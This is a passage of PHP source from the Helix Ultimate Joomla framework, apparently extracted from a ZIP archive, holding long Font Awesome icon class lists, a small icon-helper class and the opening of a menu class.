fa-pied-piper-hat", "fab fa-pied-piper-pp", "fab fa-pied-piper-square", "fas fa-piggy-bank", "fas fa-pills", "fab fa-pinterest", "fab fa-pinterest-p", "fab fa-pinterest-square", "fas fa-pizza-slice", "fas fa-place-of-worship", "fas fa-plane", "fas fa-plane-arrival", "fas fa-plane-departure", "fas fa-plane-slash", "fas fa-play", "far fa-play-circle", "fab fa-playstation", "fas fa-plug", "fas fa-plus", "fas fa-plus-circle", "far fa-plus-square", "fas fa-podcast", "fas fa-poll", "fas fa-poll-h", "fas fa-poo", "fas fa-poo-storm", "fas fa-poop", "fas fa-portrait", "fas fa-pound-sign", "fas fa-power-off", "fas fa-pray", "fas fa-praying-hands", "fas fa-prescription", "fas fa-prescription-bottle", "fas fa-prescription-bottle-alt", "fas fa-print", "fas fa-procedures", "fab fa-product-hunt", "fas fa-project-diagram", "fas fa-pump-medical", "fas fa-pump-soap", "fab fa-pushed", "fas fa-puzzle-piece", "fab fa-python", "fab fa-qq", "fas fa-qrcode", "fas fa-question", "far fa-question-circle", "fas fa-quidditch", "fab fa-quinscape", "fab fa-quora", "fas fa-quote-left", "fas fa-quote-right", "fas fa-quran", "fab fa-r-project", "fas fa-radiation", "fas fa-radiation-alt", "fas fa-rainbow", "fas fa-random", "fab fa-raspberry-pi", "fab fa-ravelry", "fab fa-react", "fab fa-reacteurope", "fab fa-readme", "fab fa-rebel", "fas fa-receipt", "fas fa-record-vinyl", "fas fa-recycle", "fab fa-red-river", "fab fa-reddit", "fab fa-reddit-alien", "fab fa-reddit-square", "fab fa-redhat", "fas fa-redo", "fas fa-redo-alt", "far fa-registered", "fas fa-remove-format", "fab fa-renren", "fas fa-reply", "fas fa-reply-all", "fab fa-replyd", "fas fa-republican", "fab fa-researchgate", "fab fa-resolving", "fas fa-restroom", "fas fa-retweet", "fab fa-rev", "fas fa-ribbon", "fas fa-ring", "fas fa-road", "fas fa-robot", "fas fa-rocket", "fab fa-rocketchat", "fab fa-rockrms", "fas fa-route", "fas fa-rss", "fas fa-rss-square", "fas fa-ruble-sign", "fas fa-ruler", "fas fa-ruler-combined", "fas fa-ruler-horizontal", "fas fa-ruler-vertical", "fas fa-running", "fas fa-rupee-sign", "fab fa-rust", "far fa-sad-cry", "far fa-sad-tear", "fab fa-safari", "fab fa-salesforce", "fab fa-sass", "fas fa-satellite", "fas fa-satellite-dish", "far fa-save", "fab fa-schlix", "fas fa-school", "fas fa-screwdriver", "fab fa-scribd", "fas fa-scroll", "fas fa-sd-card", "fas fa-search", "fas fa-search-dollar", "fas fa-search-location", "fas fa-search-minus", "fas fa-search-plus", "fab fa-searchengin", "fas fa-seedling", "fab fa-sellcast", "fab fa-sellsy", "fas fa-server", "fab fa-servicestack", "fas fa-shapes", "fas fa-share", "fas fa-share-alt", "fas fa-share-alt-square", "far fa-share-square", "fas fa-shekel-sign", "fas fa-shield-alt", "fas fa-shield-virus", "fas fa-ship", "fas fa-shipping-fast", "fab fa-shirtsinbulk", "fas fa-shoe-prints", "fab fa-shopify", "fas fa-shopping-bag", "fas fa-shopping-basket", "fas fa-shopping-cart", "fab fa-shopware", "fas fa-shower", "fas fa-shuttle-van", "fas fa-sign", "fas fa-sign-in-alt", "fas fa-sign-language", "fas fa-sign-out-alt", "fas fa-signal", "fas fa-signature", "fas fa-sim-card", "fab fa-simplybuilt", "fas fa-sink", "fab fa-sistrix", "fas fa-sitemap", "fab fa-sith", "fas fa-skating", "fab fa-sketch", "fas fa-skiing", "fas fa-skiing-nordic", "fas fa-skull", "fas fa-skull-crossbones", "fab fa-skyatlas", "fab fa-skype", "fab fa-slack", "fab fa-slack-hash", "fas fa-slash", "fas fa-sleigh", "fas fa-sliders-h", "fab fa-slideshare", "far fa-smile", "far fa-smile-beam", "far fa-smile-wink", "fas fa-smog", "fas fa-smoking", "fas fa-smoking-ban", "fas fa-sms", "fab fa-snapchat", "fab fa-snapchat-ghost", "fab fa-snapchat-square", "fas fa-snowboarding", "far fa-snowflake", "fas fa-snowman", "fas fa-snowplow", "fas fa-soap", "fas fa-socks", "fas fa-solar-panel", "fas fa-sort", "fas fa-sort-alpha-down", "fas fa-sort-alpha-down-alt", "fas fa-sort-alpha-up", "fas fa-sort-alpha-up-alt", "fas fa-sort-amount-down", "fas fa-sort-amount-down-alt", "fas fa-sort-amount-up", "fas fa-sort-amount-up-alt", "fas fa-sort-down", "fas fa-sort-numeric-down", "fas fa-sort-numeric-down-alt", "fas fa-sort-numeric-up", "fas fa-sort-numeric-up-alt", "fas fa-sort-up", "fab fa-soundcloud", "fab fa-sourcetree", "fas fa-spa", "fas fa-space-shuttle", "fab fa-speakap", "fab fa-speaker-deck", "fas fa-spell-check", "fas fa-spider", "fas fa-spinner", "fas fa-splotch", "fab fa-spotify", "fas fa-spray-can", "far fa-square", "fas fa-square-full", "fas fa-square-root-alt", "fab fa-squarespace", "fab fa-stack-exchange", "fab fa-stack-overflow", "fab fa-stackpath", "fas fa-stamp", "far fa-star", "fas fa-star-and-crescent", "far fa-star-half", "fas fa-star-half-alt", "fas fa-star-of-david", "fas fa-star-of-life", "fab fa-staylinked", "fab fa-steam", "fab fa-steam-square", "fab fa-steam-symbol", "fas fa-step-backward", "fas fa-step-forward", "fas fa-stethoscope", "fab fa-sticker-mule", "far fa-sticky-note", "fas fa-stop", "far fa-stop-circle", "fas fa-stopwatch", "fas fa-stopwatch-20", "fas fa-store", "fas fa-store-alt", "fas fa-store-alt-slash", "fas fa-store-slash", "fab fa-strava", "fas fa-stream", "fas fa-street-view", "fas fa-strikethrough", "fab fa-stripe", "fab fa-stripe-s", "fas fa-stroopwafel", "fab fa-studiovinari", "fab fa-stumbleupon", "fab fa-stumbleupon-circle", "fas fa-subscript", "fas fa-subway", "fas fa-suitcase", "fas fa-suitcase-rolling", "far fa-sun", "fab fa-superpowers", "fas fa-superscript", "fab fa-supple", "far fa-surprise", "fab fa-suse", "fas fa-swatchbook", "fab fa-swift", "fas fa-swimmer", "fas fa-swimming-pool", "fab fa-symfony", "fas fa-synagogue", "fas fa-sync", "fas fa-sync-alt", "fas fa-syringe", "fas fa-table", "fas fa-table-tennis", "fas fa-tablet", "fas fa-tablet-alt", "fas fa-tablets", "fas fa-tachometer-alt", "fas fa-tag", "fas fa-tags", "fas fa-tape", "fas fa-tasks", "fas fa-taxi", "fab fa-teamspeak", "fas fa-teeth", "fas fa-teeth-open", "fab fa-telegram", "fab fa-telegram-plane", "fas fa-temperature-high", "fas fa-temperature-low", "fab fa-tencent-weibo", "fas fa-tenge", "fas fa-terminal", "fas fa-text-height", "fas fa-text-width", "fas fa-th", "fas fa-th-large", "fas fa-th-list", "fab fa-the-red-yeti", "fas fa-theater-masks", "fab fa-themeco", "fab fa-themeisle", "fas fa-thermometer", "fas fa-thermometer-empty", "fas fa-thermometer-full", "fas fa-thermometer-half", "fas fa-thermometer-quarter", "fas fa-thermometer-three-quarters", "fab fa-think-peaks", "far fa-thumbs-down", "far fa-thumbs-up", "fas fa-thumbtack", "fas fa-ticket-alt", "fab fa-tiktok", "fas fa-times", "far fa-times-circle", "fas fa-tint", "fas fa-tint-slash", "far fa-tired", "fas fa-toggle-off", "fas fa-toggle-on", "fas fa-toilet", "fas fa-toilet-paper", "fas fa-toilet-paper-slash", "fas fa-toolbox", "fas fa-tools", "fas fa-tooth", "fas fa-torah", "fas fa-torii-gate", "fas fa-tractor", "fab fa-trade-federation", "fas fa-trademark", "fas fa-traffic-light", "fas fa-trailer", "fas fa-train", "fas fa-tram", "fas fa-transgender", "fas fa-transgender-alt", "fas fa-trash", "far fa-trash-alt", "fas fa-trash-restore", "fas fa-trash-restore-alt", "fas fa-tree", "fab fa-trello", "fab fa-tripadvisor", "fas fa-trophy", "fas fa-truck", "fas fa-truck-loading", "fas fa-truck-monster", "fas fa-truck-moving", "fas fa-truck-pickup", "fas fa-tshirt", "fas fa-tty", "fab fa-tumblr", "fab fa-tumblr-square", "fas fa-tv", "fab fa-twitch", "fab fa-twitter", "fab fa-twitter-square", "fab fa-typo3", "fab fa-uber", "fab fa-ubuntu", "fab fa-uikit", "fab fa-umbraco", "fas fa-umbrella", "fas fa-umbrella-beach", "fab fa-uncharted", "fas fa-underline", "fas fa-undo", "fas fa-undo-alt", "fab fa-uniregistry", "fab fa-unity", "fas fa-universal-access", "fas fa-university", "fas fa-unlink", "fas fa-unlock", "fas fa-unlock-alt", "fab fa-unsplash", "fab fa-untappd", "fas fa-upload", "fab fa-ups", "fab fa-usb", "far fa-user", "fas fa-user-alt", "fas fa-user-alt-slash", "fas fa-user-astronaut", "fas fa-user-check", "far fa-user-circle", "fas fa-user-clock", "fas fa-user-cog", "fas fa-user-edit", "fas fa-user-friends", "fas fa-user-graduate", "fas fa-user-injured", "fas fa-user-lock", "fas fa-user-md", "fas fa-user-minus", "fas fa-user-ninja", "fas fa-user-nurse", "fas fa-user-plus", "fas fa-user-secret", "fas fa-user-shield", "fas fa-user-slash", "fas fa-user-tag", "fas fa-user-tie", "fas fa-user-times", "fas fa-users", "fas fa-users-cog", "fas fa-users-slash", "fab fa-usps", "fab fa-ussunnah", "fas fa-utensil-spoon", "fas fa-utensils", "fab fa-vaadin", "fas fa-vector-square", "fas fa-venus", "fas fa-venus-double", "fas fa-venus-mars", "fas fa-vest", "fas fa-vest-patches", "fab fa-viacoin", "fab fa-viadeo", "fab fa-viadeo-square", "fas fa-vial", "fas fa-vials", "fab fa-viber", "fas fa-video", "fas fa-video-slash", "fas fa-vihara", "fab fa-vimeo", "fab fa-vimeo-square", "fab fa-vimeo-v", "fab fa-vine", "fas fa-virus", "fas fa-virus-slash", "fas fa-viruses", "fab fa-vk", "fab fa-vnv", "fas fa-voicemail", "fas fa-volleyball-ball", "fas fa-volume-down", "fas fa-volume-mute", "fas fa-volume-off", "fas fa-volume-up", "fas fa-vote-yea", "fas fa-vr-cardboard", "fab fa-vuejs", "fas fa-walking", "fas fa-wallet", "fas fa-warehouse", "fab fa-watchman-monitoring", "fas fa-water", "fas fa-wave-square", "fab fa-waze", "fab fa-weebly", "fab fa-weibo", "fas fa-weight", "fas fa-weight-hanging", "fab fa-weixin", "fab fa-whatsapp", "fab fa-whatsapp-square", "fas fa-wheelchair", "fab fa-whmcs", "fas fa-wifi", "fab fa-wikipedia-w", "fas fa-wind", "far fa-window-close", "far fa-window-maximize", "far fa-window-minimize", "far fa-window-restore", "fab fa-windows", "fas fa-wine-bottle", "fas fa-wine-glass", "fas fa-wine-glass-alt", "fab fa-wix", "fab fa-wizards-of-the-coast", "fab fa-wodu", "fab fa-wolf-pack-battalion", "fas fa-won-sign", "fab fa-wordpress", "fab fa-wordpress-simple", "fab fa-wpbeginner", "fab fa-wpexplorer", "fab fa-wpforms", "fab fa-wpressr", "fas fa-wrench", "fas fa-x-ray", "fab fa-xbox", "fab fa-xing", "fab fa-xing-square", "fab fa-y-combinator", "fab fa-yahoo", "fab fa-yammer", "fab fa-yandex", "fab fa-yandex-international", "fab fa-yarn", "fab fa-yelp", "fas fa-yen-sign", "fas fa-yin-yang", "fab fa-yoast", "fab fa-youtube", "fab fa-youtube-square", "fab fa-zhihu"];
	/**
	 * Font awesome icon class names.
	 *
	 * @var		array	Font-awesome class names.
	 * @since	2.0.0
	 */
	private $fa_class_lists = array(
		'fa-500px',
		'fa-adjust',
		'fa-adn',
		'fa-align-center',
		'fa-align-justify',
		'fa-align-left',
		'fa-align-right',
		'fa-amazon',
		'fa-ambulance',
		'fa-anchor',
		'fa-android',
		'fa-angellist',
		'fa-angle-double-down',
		'fa-angle-double-left',
		'fa-angle-double-right',
		'fa-angle-double-up',
		'fa-angle-down',
		'fa-angle-left',
		'fa-angle-right',
		'fa-angle-up',
		'fa-apple',
		'fa-archive',
		'fa-area-chart',
		'fa-arrow-circle-down',
		'fa-arrow-circle-left',
		'fa-arrow-circle-o-down',
		'fa-arrow-circle-o-left',
		'fa-arrow-circle-o-right',
		'fa-arrow-circle-o-up',
		'fa-arrow-circle-right',
		'fa-arrow-circle-up',
		'fa-arrow-down',
		'fa-arrow-left',
		'fa-arrow-right',
		'fa-arrow-up',
		'fa-arrows',
		'fa-arrows-alt',
		'fa-arrows-h',
		'fa-arrows-v',
		'fa-asterisk',
		'fa-at',
		'fa-automobile',
		'fa-backward',
		'fa-balance-scale',
		'fa-ban',
		'fa-bank',
		'fa-bar-chart',
		'fa-bar-chart-o',
		'fa-barcode',
		'fa-bars',
		'fa-battery-0',
		'fa-battery-1',
		'fa-battery-2',
		'fa-battery-3',
		'fa-battery-4',
		'fa-battery-empty',
		'fa-battery-full',
		'fa-battery-half',
		'fa-battery-quarter',
		'fa-battery-three-quarters',
		'fa-bed',
		'fa-beer',
		'fa-behance',
		'fa-behance-square',
		'fa-bell',
		'fa-bell-o',
		'fa-bell-slash',
		'fa-bell-slash-o',
		'fa-bicycle',
		'fa-binoculars',
		'fa-birthday-cake',
		'fa-bitbucket',
		'fa-bitbucket-square',
		'fa-bitcoin',
		'fa-black-tie',
		'fa-bluetooth',
		'fa-bluetooth-b',
		'fa-bold',
		'fa-bolt',
		'fa-bomb',
		'fa-book',
		'fa-bookmark',
		'fa-bookmark-o',
		'fa-briefcase',
		'fa-btc',
		'fa-bug',
		'fa-building',
		'fa-building-o',
		'fa-bullhorn',
		'fa-bullseye',
		'fa-bus',
		'fa-buysellads',
		'fa-cab',
		'fa-calculator',
		'fa-calendar',
		'fa-calendar-check-o',
		'fa-calendar-minus-o',
		'fa-calendar-o',
		'fa-calendar-plus-o',
		'fa-calendar-times-o',
		'fa-camera',
		'fa-camera-retro',
		'fa-car',
		'fa-caret-down',
		'fa-caret-left',
		'fa-caret-right',
		'fa-caret-square-o-down',
		'fa-caret-square-o-left',
		'fa-caret-square-o-right',
		'fa-caret-square-o-up',
		'fa-caret-up',
		'fa-cart-arrow-down',
		'fa-cart-plus',
		'fa-cc',
		'fa-cc-amex',
		'fa-cc-diners-club',
		'fa-cc-discover',
		'fa-cc-jcb',
		'fa-cc-mastercard',
		'fa-cc-paypal',
		'fa-cc-stripe',
		'fa-cc-visa',
		'fa-certificate',
		'fa-chain',
		'fa-chain-broken',
		'fa-check',
		'fa-check-circle',
		'fa-check-circle-o',
		'fa-check-square',
		'fa-check-square-o',
		'fa-chevron-circle-down',
		'fa-chevron-circle-left',
		'fa-chevron-circle-right',
		'fa-chevron-circle-up',
		'fa-chevron-down',
		'fa-chevron-left',
		'fa-chevron-right',
		'fa-chevron-up',
		'fa-child',
		'fa-chrome',
		'fa-circle',
		'fa-circle-o',
		'fa-circle-o-notch',
		'fa-circle-thin',
		'fa-clipboard',
		'fa-clock-o',
		'fa-clone',
		'fa-close',
		'fa-cloud',
		'fa-cloud-download',
		'fa-cloud-upload',
		'fa-cny',
		'fa-code',
		'fa-code-fork',
		'fa-codepen',
		'fa-codiepie',
		'fa-coffee',
		'fa-cog',
		'fa-cogs',
		'fa-columns',
		'fa-comment',
		'fa-comment-o',
		'fa-commenting',
		'fa-commenting-o',
		'fa-comments',
		'fa-comments-o',
		'fa-compass',
		'fa-compress',
		'fa-connectdevelop',
		'fa-contao',
		'fa-copy',
		'fa-copyright',
		'fa-creative-commons',
		'fa-credit-card',
		'fa-credit-card-alt',
		'fa-crop',
		'fa-crosshairs',
		'fa-css3',
		'fa-cube',
		'fa-cubes',
		'fa-cut',
		'fa-cutlery',
		'fa-dashboard',
		'fa-dashcube',
		'fa-database',
		'fa-dedent',
		'fa-delicious',
		'fa-desktop',
		'fa-deviantart',
		'fa-diamond',
		'fa-digg',
		'fa-dollar',
		'fa-dot-circle-o',
		'fa-download',
		'fa-dribbble',
		'fa-dropbox',
		'fa-drupal',
		'fa-edge',
		'fa-edit',
		'fa-eject',
		'fa-ellipsis-h',
		'fa-ellipsis-v',
		'fa-empire',
		'fa-envelope',
		'fa-envelope-o',
		'fa-envelope-square',
		'fa-eraser',
		'fa-eur',
		'fa-euro',
		'fa-exchange',
		'fa-exclamation',
		'fa-exclamation-circle',
		'fa-exclamation-triangle',
		'fa-expand',
		'fa-expeditedssl',
		'fa-external-link',
		'fa-external-link-square',
		'fa-eye',
		'fa-eye-slash',
		'fa-eyedropper',
		'fa-facebook',
		'fa-facebook-f',
		'fa-facebook-official',
		'fa-facebook-square',
		'fa-fast-backward',
		'fa-fast-forward',
		'fa-fax',
		'fa-feed',
		'fa-female',
		'fa-fighter-jet',
		'fa-file',
		'fa-file-archive-o',
		'fa-file-audio-o',
		'fa-file-code-o',
		'fa-file-excel-o',
		'fa-file-image-o',
		'fa-file-movie-o',
		'fa-file-o',
		'fa-file-pdf-o',
		'fa-file-photo-o',
		'fa-file-picture-o',
		'fa-file-powerpoint-o',
		'fa-file-sound-o',
		'fa-file-text',
		'fa-file-text-o',
		'fa-file-video-o',
		'fa-file-word-o',
		'fa-file-zip-o',
		'fa-files-o',
		'fa-film',
		'fa-filter',
		'fa-fire',
		'fa-fire-extinguisher',
		'fa-firefox',
		'fa-flag',
		'fa-flag-checkered',
		'fa-flag-o',
		'fa-flash',
		'fa-flask',
		'fa-flickr',
		'fa-floppy-o',
		'fa-folder',
		'fa-folder-o',
		'fa-folder-open',
		'fa-folder-open-o',
		'fa-font',
		'fa-fonticons',
		'fa-fort-awesome',
		'fa-forumbee',
		'fa-forward',
		'fa-foursquare',
		'fa-frown-o',
		'fa-futbol-o',
		'fa-gamepad',
		'fa-gavel',
		'fa-gbp',
		'fa-ge',
		'fa-gear',
		'fa-gears',
		'fa-genderless',
		'fa-get-pocket',
		'fa-gg',
		'fa-gg-circle',
		'fa-gift',
		'fa-git',
		'fa-git-square',
		'fa-github',
		'fa-github-alt',
		'fa-github-square',
		'fa-gittip',
		'fa-glass',
		'fa-globe',
		'fa-google',
		'fa-google-plus',
		'fa-google-plus-square',
		'fa-google-wallet',
		'fa-graduation-cap',
		'fa-gratipay',
		'fa-group',
		'fa-h-square',
		'fa-hacker-news',
		'fa-hand-grab-o',
		'fa-hand-lizard-o',
		'fa-hand-o-down',
		'fa-hand-o-left',
		'fa-hand-o-right',
		'fa-hand-o-up',
		'fa-hand-paper-o',
		'fa-hand-peace-o',
		'fa-hand-pointer-o',
		'fa-hand-rock-o',
		'fa-hand-scissors-o',
		'fa-hand-spock-o',
		'fa-hand-stop-o',
		'fa-hashtag',
		'fa-hdd-o',
		'fa-header',
		'fa-headphones',
		'fa-heart',
		'fa-heart-o',
		'fa-heartbeat',
		'fa-history',
		'fa-home',
		'fa-hospital-o',
		'fa-hotel',
		'fa-hourglass',
		'fa-hourglass-1',
		'fa-hourglass-2',
		'fa-hourglass-3',
		'fa-hourglass-end',
		'fa-hourglass-half',
		'fa-hourglass-o',
		'fa-hourglass-start',
		'fa-houzz',
		'fa-html5',
		'fa-i-cursor',
		'fa-ils',
		'fa-image',
		'fa-inbox',
		'fa-indent',
		'fa-industry',
		'fa-info',
		'fa-info-circle',
		'fa-inr',
		'fa-instagram',
		'fa-institution',
		'fa-internet-explorer',
		'fa-intersex',
		'fa-ioxhost',
		'fa-italic',
		'fa-joomla',
		'fa-jpy',
		'fa-jsfiddle',
		'fa-key',
		'fa-keyboard-o',
		'fa-krw',
		'fa-language',
		'fa-laptop',
		'fa-lastfm',
		'fa-lastfm-square',
		'fa-leaf',
		'fa-leanpub',
		'fa-legal',
		'fa-lemon-o',
		'fa-level-down',
		'fa-level-up',
		'fa-life-bouy',
		'fa-life-buoy',
		'fa-life-ring',
		'fa-life-saver',
		'fa-lightbulb-o',
		'fa-line-chart',
		'fa-link',
		'fa-linkedin',
		'fa-linkedin-square',
		'fa-linux',
		'fa-list',
		'fa-list-alt',
		'fa-list-ol',
		'fa-list-ul',
		'fa-location-arrow',
		'fa-lock',
		'fa-long-arrow-down',
		'fa-long-arrow-left',
		'fa-long-arrow-right',
		'fa-long-arrow-up',
		'fa-magic',
		'fa-magnet',
		'fa-mail-forward',
		'fa-mail-reply',
		'fa-mail-reply-all',
		'fa-male',
		'fa-map',
		'fa-map-marker',
		'fa-map-o',
		'fa-map-pin',
		'fa-map-signs',
		'fa-mars',
		'fa-mars-double',
		'fa-mars-stroke',
		'fa-mars-stroke-h',
		'fa-mars-stroke-v',
		'fa-maxcdn',
		'fa-meanpath',
		'fa-medium',
		'fa-medkit',
		'fa-meh-o',
		'fa-mercury',
		'fa-microphone',
		'fa-microphone-slash',
		'fa-minus',
		'fa-minus-circle',
		'fa-minus-square',
		'fa-minus-square-o',
		'fa-mixcloud',
		'fa-mobile',
		'fa-mobile-phone',
		'fa-modx',
		'fa-money',
		'fa-moon-o',
		'fa-mortar-board',
		'fa-motorcycle',
		'fa-mouse-pointer',
		'fa-music',
		'fa-navicon',
		'fa-neuter',
		'fa-newspaper-o',
		'fa-object-group',
		'fa-object-ungroup',
		'fa-odnoklassniki',
		'fa-odnoklassniki-square',
		'fa-opencart',
		'fa-openid',
		'fa-opera',
		'fa-optin-monster',
		'fa-outdent',
		'fa-pagelines',
		'fa-paint-brush',
		'fa-paper-plane',
		'fa-paper-plane-o',
		'fa-paperclip',
		'fa-paragraph',
		'fa-paste',
		'fa-pause',
		'fa-pause-circle',
		'fa-pause-circle-o',
		'fa-paw',
		'fa-paypal',
		'fa-pencil',
		'fa-pencil-square',
		'fa-pencil-square-o',
		'fa-percent',
		'fa-phone',
		'fa-phone-square',
		'fa-photo',
		'fa-picture-o',
		'fa-pie-chart',
		'fa-pied-piper',
		'fa-pied-piper-alt',
		'fa-pinterest',
		'fa-pinterest-p',
		'fa-pinterest-square',
		'fa-plane',
		'fa-play',
		'fa-play-circle',
		'fa-play-circle-o',
		'fa-plug',
		'fa-plus',
		'fa-plus-circle',
		'fa-plus-square',
		'fa-plus-square-o',
		'fa-power-off',
		'fa-print',
		'fa-product-hunt',
		'fa-puzzle-piece',
		'fa-qq',
		'fa-qrcode',
		'fa-question',
		'fa-question-circle',
		'fa-quote-left',
		'fa-quote-right',
		'fa-ra',
		'fa-random',
		'fa-rebel',
		'fa-recycle',
		'fa-reddit',
		'fa-reddit-alien',
		'fa-reddit-square',
		'fa-refresh',
		'fa-registered',
		'fa-remove',
		'fa-renren',
		'fa-reorder',
		'fa-repeat',
		'fa-reply',
		'fa-reply-all',
		'fa-retweet',
		'fa-rmb',
		'fa-road',
		'fa-rocket',
		'fa-rotate-left',
		'fa-rotate-right',
		'fa-rouble',
		'fa-rss',
		'fa-rss-square',
		'fa-rub',
		'fa-ruble',
		'fa-rupee',
		'fa-safari',
		'fa-save',
		'fa-scissors',
		'fa-scribd',
		'fa-search',
		'fa-search-minus',
		'fa-search-plus',
		'fa-sellsy',
		'fa-send',
		'fa-send-o',
		'fa-server',
		'fa-share',
		'fa-share-alt',
		'fa-share-alt-square',
		'fa-share-square',
		'fa-share-square-o',
		'fa-shekel',
		'fa-sheqel',
		'fa-shield',
		'fa-ship',
		'fa-shirtsinbulk',
		'fa-shopping-bag',
		'fa-shopping-basket',
		'fa-shopping-cart',
		'fa-sign-in',
		'fa-sign-out',
		'fa-signal',
		'fa-simplybuilt',
		'fa-sitemap',
		'fa-skyatlas',
		'fa-skype',
		'fa-slack',
		'fa-sliders-h',
		'fa-slideshare',
		'fa-smile-o',
		'fa-soccer-ball-o',
		'fa-sort',
		'fa-sort-alpha-asc',
		'fa-sort-alpha-desc',
		'fa-sort-amount-asc',
		'fa-sort-amount-desc',
		'fa-sort-asc',
		'fa-sort-desc',
		'fa-sort-down',
		'fa-sort-numeric-asc',
		'fa-sort-numeric-desc',
		'fa-sort-up',
		'fa-soundcloud',
		'fa-space-shuttle',
		'fa-spinner',
		'fa-spoon',
		'fa-spotify',
		'fa-square',
		'fa-square-o',
		'fa-stack-exchange',
		'fa-stack-overflow',
		'fa-star',
		'fa-star-half',
		'fa-star-half-empty',
		'fa-star-half-full',
		'fa-star-half-o',
		'fa-star-o',
		'fa-steam',
		'fa-steam-square',
		'fa-step-backward',
		'fa-step-forward',
		'fa-stethoscope',
		'fa-sticky-note',
		'fa-sticky-note-o',
		'fa-stop',
		'fa-stop-circle',
		'fa-stop-circle-o',
		'fa-street-view',
		'fa-strikethrough',
		'fa-stumbleupon',
		'fa-stumbleupon-circle',
		'fa-subscript',
		'fa-subway',
		'fa-suitcase',
		'fa-sun-o',
		'fa-superscript',
		'fa-support',
		'fa-table',
		'fa-tablet',
		'fa-tachometer',
		'fa-tag',
		'fa-tags',
		'fa-tasks',
		'fa-taxi',
		'fa-television',
		'fa-tencent-weibo',
		'fa-terminal',
		'fa-text-height',
		'fa-text-width',
		'fa-th',
		'fa-th-large',
		'fa-th-list',
		'fa-thumb-tack',
		'fa-thumbs-down',
		'fa-thumbs-o-down',
		'fa-thumbs-o-up',
		'fa-thumbs-up',
		'fa-ticket',
		'fa-times',
		'fa-times-circle',
		'fa-times-circle-o',
		'fa-tint',
		'fa-toggle-down',
		'fa-toggle-left',
		'fa-toggle-off',
		'fa-toggle-on',
		'fa-toggle-right',
		'fa-toggle-up',
		'fa-trademark',
		'fa-train',
		'fa-transgender',
		'fa-transgender-alt',
		'fa-trash',
		'fa-trash-o',
		'fa-tree',
		'fa-trello',
		'fa-tripadvisor',
		'fa-trophy',
		'fa-truck',
		'fa-try',
		'fa-tty',
		'fa-tumblr',
		'fa-tumblr-square',
		'fa-turkish-lira',
		'fa-tv',
		'fa-twitch',
		'fa-twitter',
		'fa-twitter-square',
		'fa-umbrella',
		'fa-underline',
		'fa-undo',
		'fa-university',
		'fa-unlink',
		'fa-unlock',
		'fa-unlock-alt',
		'fa-unsorted',
		'fa-upload',
		'fa-usb',
		'fa-usd',
		'fa-user',
		'fa-user-md',
		'fa-user-plus',
		'fa-user-secret',
		'fa-user-times',
		'fa-users',
		'fa-venus',
		'fa-venus-double',
		'fa-venus-mars',
		'fa-viacoin',
		'fa-video-camera',
		'fa-vimeo',
		'fa-vimeo-square',
		'fa-vine',
		'fa-vk',
		'fa-volume-down',
		'fa-volume-off',
		'fa-volume-up',
		'fa-warning',
		'fa-wechat',
		'fa-weibo',
		'fa-weixin',
		'fa-whatsapp',
		'fa-wheelchair',
		'fa-wifi',
		'fa-wikipedia-w',
		'fa-windows',
		'fa-won',
		'fa-wordpress',
		'fa-wrench',
		'fa-xing',
		'fa-xing-square',
		'fa-y-combinator',
		'fa-y-combinator-square',
		'fa-yahoo',
		'fa-yc',
		'fa-yc-square',
		'fa-yelp',
		'fa-yen',
		'fa-youtube',
		'fa-youtube-play',
		'fa-youtube-square',
		// New
		'fa-address-book',
		'fa-address-book-o',
		'fa-address-card',
		'fa-address-card-o',
		'fa-vcard',
		'fa-vcard-o',
		'fa-bandcamp',
		'fa-bathtub',
		'fa-s15',
		'fa-bath',
		'fa-id-card',
		'fa-drivers-license-o',
		'fa-id-card-o',
		'fa-eercast',
		'fa-envelope-open',
		'fa-envelope-open-o',
		'fa-etsy',
		'fa-free-code-camp',
		'fa-grav',
		'fa-handshake-o',
		'fa-id-badge',
		'fa-id-card-o',
		'fa-imdb',
		'fa-linode',
		'fa-meetup',
		'fa-microchip',
		'fa-podcast',
		'fa-quora',
		'fa-ravelry',
		'fa-shower',
		'fa-snowflake-o',
		'fa-superpowers',
		'fa-telegram',
		'fa-thermometer',
		'fa-thermometer-full',
		'fa-thermometer-4',
		'fa-thermometer-3',
		'fa-thermometer-three-quarters',
		'fa-thermometer-2',
		'fa-thermometer-half',
		'fa-thermometer-1',
		'fa-thermometer-quarter',
		'fa-thermometer-0',
		'fa-thermometer-empty',
		'fa-window-close',
		'fa-window-close-o',
		'fa-user-circle',
		'fa-user-circle-o',
		'fa-user-o',
		'fa-window-maximize',
		'fa-window-restore',
		'fa-wpexplorer'
	);

	/**
	 * Fontawesome icons array.
	 *
	 * @var		array	Fontawesome icons.
	 * @since	2.0.0
	 */
	private $icons = array();


	/**
	 * Constructor function.
	 *
	 * @return 	void
	 * @since	2.0.0
	 */
	public function __construct($version = 5)
	{
		if ($version === 4)
		{
			$this->icons = $this->fa_class_lists;
		}
		elseif ($version === 5)
		{
			$this->icons = $this->fa5_classes;
		}
	}

	/**
	 * Get icon list.
	 *
	 * @param	int		$version	The fontawesome version.
	 *
	 * @return 	array	Fontawesome icons.
	 * @Since	1.0.0
	 */
	public function getIcons()
	{
		return $this->icons;
	}

	/**
	 * Add icon into the array.
	 *
	 * @param	string	$icon	The icon class
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function addIcon($icon)
	{
		$this->icons[] = $icon;
	}
}
PK!5�#mImI4helixultimate/src/Core/Classes/HelixultimateMenu.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Core\Classes;

use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filter\OutputFilter;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\Router\Route;

defined('_JEXEC') or die();

/**
 * HelixUltimate menu
 *
 * @since   1.0.0
 */
class HelixultimateMenu
{
	/**
	 * Menu items.
	 *
	 * @var		array	Menu items.
	 * @since	1.0.0
	 */
	protected $_items = array();

	/**
	 * Is active menu
	 *
	 * @var		boolean		Menu status.
	 * @since	1.0.0
	 */
	protected $active = 0;

	/**
	 * Active tree.
	 *
	 * @var		array	Menu tree.
	 * @since	1.0.0
	 */
	protected $active_tree = array();

	/**
	 * Menu
	 *
	 * @var		string		menu
	 * @since	1.0.0
	 */
	protected $menu = '';

	/**
	 * Menu params.
	 *
	 * @var		object	Menu params.
	 * @since	1.0.0
	 */
	public $_params = null;

	/**
	 * Menu direction.
	 *
	 * @var		string		Menu direction.
